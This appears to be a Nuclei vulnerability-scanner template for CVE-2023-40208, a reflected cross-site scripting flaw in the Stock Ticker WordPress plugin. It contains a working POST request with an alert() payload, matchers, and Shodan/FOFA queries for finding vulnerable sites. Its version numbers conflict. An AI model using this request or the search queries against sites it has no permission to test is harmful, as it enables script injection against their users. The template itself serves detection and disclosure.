The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_load function in versions up to, and including, 3.23.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
PoC代码[已公开]
id: CVE-2023-40208
info:
name: Stock Ticker <= 3.23.2 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_load function in versions up to, and including, 3.23.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
remediation: Fixed in version 3.23.3
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stock-ticker/stock-ticker-3233-reflected-cross-site-scripting
- https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability
- https://wordpress.org/plugins/stock-ticker/
- https://nvd.nist.gov/vuln/detail/CVE-2023-40208
- https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-40208
cwe-id: CWE-79
epss-score: 0.05072
epss-percentile: 0.89389
cpe: cpe:2.3:a:urosevic:stock_ticker:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: urosevic
product: stock_ticker
framework: wordpress
shodan-query: http.html:/wp-content/plugins/stock-ticker/
fofa-query: body=/wp-content/plugins/stock-ticker/
publicwww-query: /wp-content/plugins/stock-ticker/
tags: cve2023,cve,wordpress,wp-plugin,wpscan,wp,stock-ticker,xss,urosevic
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=stockticker_load&symbols=MSFT&class=%22+onmousemove%3Dalert%28document.domain%29+
matchers-condition: and
matchers:
- type: word
part: body
words:
- "stock_ticker"
- "onmousemove=alert(document.domain)"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402206efb643f179e7b7227561eadccbf73cb762a58ebb1ef51635b88192a06dfd4d002206bf16bf4898328a57c1d12a0cb1951e364a76d3e809e5dbcd91c14eeda040524:922c64590222798bb761d5b6d8e72950